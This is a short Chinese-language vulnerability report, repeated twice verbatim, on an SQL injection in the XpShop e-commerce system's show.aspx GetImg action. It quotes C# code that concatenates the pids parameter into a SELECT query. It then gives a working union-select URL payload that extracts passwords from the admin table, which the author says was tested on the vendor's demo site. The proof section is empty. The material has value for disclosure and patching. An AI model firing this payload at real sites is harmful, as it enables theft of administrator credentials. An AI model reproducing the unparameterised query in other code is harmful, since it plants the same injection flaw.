漏洞位置xpshop.webui.Show: ``` private void GetImg(string pids) { ProductDB productDB = new ProductDB(); DataTable thumbnailImg = productDB.GetThumbnailImg(pids); thumbnailImg.TableName = "Products"; base.Response.Write(XpShopJson.DtToJSON(thumbnailImg)); } ``` 这里是问题函数,我就不写怎么跟进来的,就是page_load,等下直接用payload测试就好了,官网demo的。 跟进去GetThumbnailImg函数: ``` public DataTable GetThumbnailImg(string pid) { string commandText = "SELECT ProductID,ProductName,ThumbnailImg,CategoryID,CategoryNo FROM Product WHERE ProductID = " + pid; return XpShopDB.ExecuteDataTable(XpShopDB.ConnectionString, CommandType.Text, commandText, null); } ``` payload: ``` http://example.com/show.aspx?type=1&action=GetImg&pids=1 union select password,2,3,4,5 from admin-- ``` 漏洞证明: 
漏洞位置xpshop.webui.Show: ``` private void GetImg(string pids) { ProductDB productDB = new ProductDB(); DataTable thumbnailImg = productDB.GetThumbnailImg(pids); thumbnailImg.TableName = "Products"; base.Response.Write(XpShopJson.DtToJSON(thumbnailImg)); } ``` 这里是问题函数,我就不写怎么跟进来的,就是page_load,等下直接用payload测试就好了,官网demo的。 跟进去GetThumbnailImg函数: ``` public DataTable GetThumbnailImg(string pid) { string commandText = "SELECT ProductID,ProductName,ThumbnailImg,CategoryID,CategoryNo FROM Product WHERE ProductID = " + pid; return XpShopDB.ExecuteDataTable(XpShopDB.ConnectionString, CommandType.Text, commandText, null); } ``` payload: ``` http://example.com/show.aspx?type=1&action=GetImg&pids=1 union select password,2,3,4,5 from admin-- ``` 漏洞证明: 